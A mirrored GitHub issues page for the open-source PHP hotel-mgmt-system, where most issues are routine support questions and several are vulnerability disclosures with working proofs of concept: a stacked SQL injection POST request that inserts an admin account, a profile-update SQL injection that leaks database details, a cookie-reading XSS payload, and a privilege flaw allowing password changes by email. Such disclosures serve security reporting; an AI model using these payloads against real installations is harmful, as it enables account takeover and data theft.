Coder Social home page Coder Social logo

tramyardg / hotel-mgmt-system Goto Github PK

View Code? Open in Web Editor NEW
225.0 14.0 113.0 1.72 MB

Hotel booking system for customers added with an admin feature to manage reservations.

License: Apache License 2.0

CSS 0.74% JavaScript 12.58% PHP 84.19% Hack 2.49%
booking hotel-booking hotel-management-system booking-system room-pricing php

hotel-mgmt-system's People

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

hotel-mgmt-system's Issues

T@

Sq code

tramyardg-hotel-mgmt-system of version2022.4 has a privilege overriding vulnerabilities

List of Vulnerable path

Vulnerable path /app/process_update_profile.php
Lines 32-37 of the "process_update_profile.php" don't differentiate the user's permissions and the status of login.
rank1.png

Vulnerability exploitation process:

post the data to "process_update_profile.php".Attacker only need a true user's email,then Attacker can change other's password,phone and so on.Attacker can get the account of admin.

rank2.png
rank3.png
check the database,find the differences.
database.png

POC code:

rank2.png

Create admin field in customer table

The problem was admin credentials are exposed in admin.json. For security reason, we have to create a field in customer table to tell if the user is admin or not. Therefore, we don't need admin.json anymore for authenticating admins.

Files to modify:

  • hotel.sql
  • app/models/Customer.php: isAdminSignedIn

tramyardg-hotel-mgmt-system has a SQL injection vulnerability

List of Vulnerable path

Vulnerable path /app/dao/BookingDetailDAO.php
Vulnerable path /app/handlers/BookingDetailHandler.php
Vulnerable path /app/admin/manage_reservation.php
Lines 54-60 of the "BookingDetailDAO.php"
The variable i is spliced into the sql statement.It causes SQL inject.
image

Lines 63-74 of the "BookingDetailHandler.php"
updateConfirmed is called by confirmSelection
image

Line 10 of the "manage_reservation.php"
$bdh->confirmSelection($_POST["item"]); we could inject through post item
image

Vulnerability exploitation process

read the README.md and install the project
post the poc code

POST /app/admin/manage_reservation.php HTTP/1.1
Host: localhost
Content-Length: 119
sec-ch-ua: "Chromium";v="109", "Not_A Brand";v="99"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: elefant_user=ohao1ku87687qe855jotru3o5p; PHPSESSID=19q15nrh1hinhipjeomugnaqd2
Connection: close

confirm=1&item[0]=11;INSERT INTO customer(cid,fullname,email,password,phone,isadmin) values(2,"attack","a","a","1","1")

the info insert into the table finally
image

Composer question

Is composer necessary to run this? Any tips on how to install an older version of Php using xampp?

edit: i was able to get it.

tramyardg-hotel-mgmt-system of version2022.4 has a Cross Site Script(XSS) vulnerability

List of Vulnerable path

Vulnerable path /app/process_update_profile.php
Lines 32-37 of the "process_update_profile.php" file,there is no filtering,so cause Cross Site Script.
xss1.png
In fact,the filter was forgot.Another file has a filter . Its path /app/process_registration.php
xss2.png
xss3.png
The data is safe when user register,but it is unsafe after update.

Vulnerability exploitation process:

register a new account.
reg1.png
reg2.png
login the user and click "update profile".
up1.png
input poc and submit.
a1.png
The administrator will trigger it.
a2.png
a3.png

POC code:

<script>alert('youyou_pm10'+document.cookie);</script>

Access Admin Panel

Hi
Sorry to bother, i was wondering how to access to admin panel?
i setup everything, tried /app /admin.php etc..
Thanks in advance

Add favicon

Any takers? Feel free. You can use the png below
favicon_package_v0.16.zip

Insert the following code in the <head> section

<link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png">
<link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png">
<link rel="icon" type="image/png" sizes="16x16" href="/favicon-16x16.png">
<link rel="manifest" href="/site.webmanifest">
<link rel="mask-icon" href="/safari-pinned-tab.svg" color="#5bbad5">
<meta name="msapplication-TileColor" content="#da532c">
<meta name="theme-color" content="#ffffff">

How to access and use admin

How to access and use admin page even if I changed field on already registered user and entering url /admin.php I still get empy page like this
Снимок экрана 2022-03-28 в 01 11 28

tramyardg-hotel-mgmt-system of version2022.4 has a SQL injection vulnerability

List of Vulnerable path

Vulnerable path /app/dao/CustomerDAO.php
Vulnerable path /app/handlers/CustomerHandler.php
Vulnerable path /app/process_update_profile.php
Lines 49-59 of the "CustomerDAO.php" file splice the sql word,so bypass the PDO.
sql.png
Line 98 of the "CustomerHandler.php" use the vulnerable function.
sql2.png
Lines 31-40 of the "process_update_profile.php" use the vulnerable function.
sql3.png

Vulnerability exploitation process:

After the user logged in, click the button "update proflie".
log1.png
Then input the poc and click "update".
log2.png
After that,refresh it and click "update profile",you can see the data from database.
log3.png

POC code:

youyou",password = "", phone = concat(database(),version()) WHERE `customer`.`cid`="10"#

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.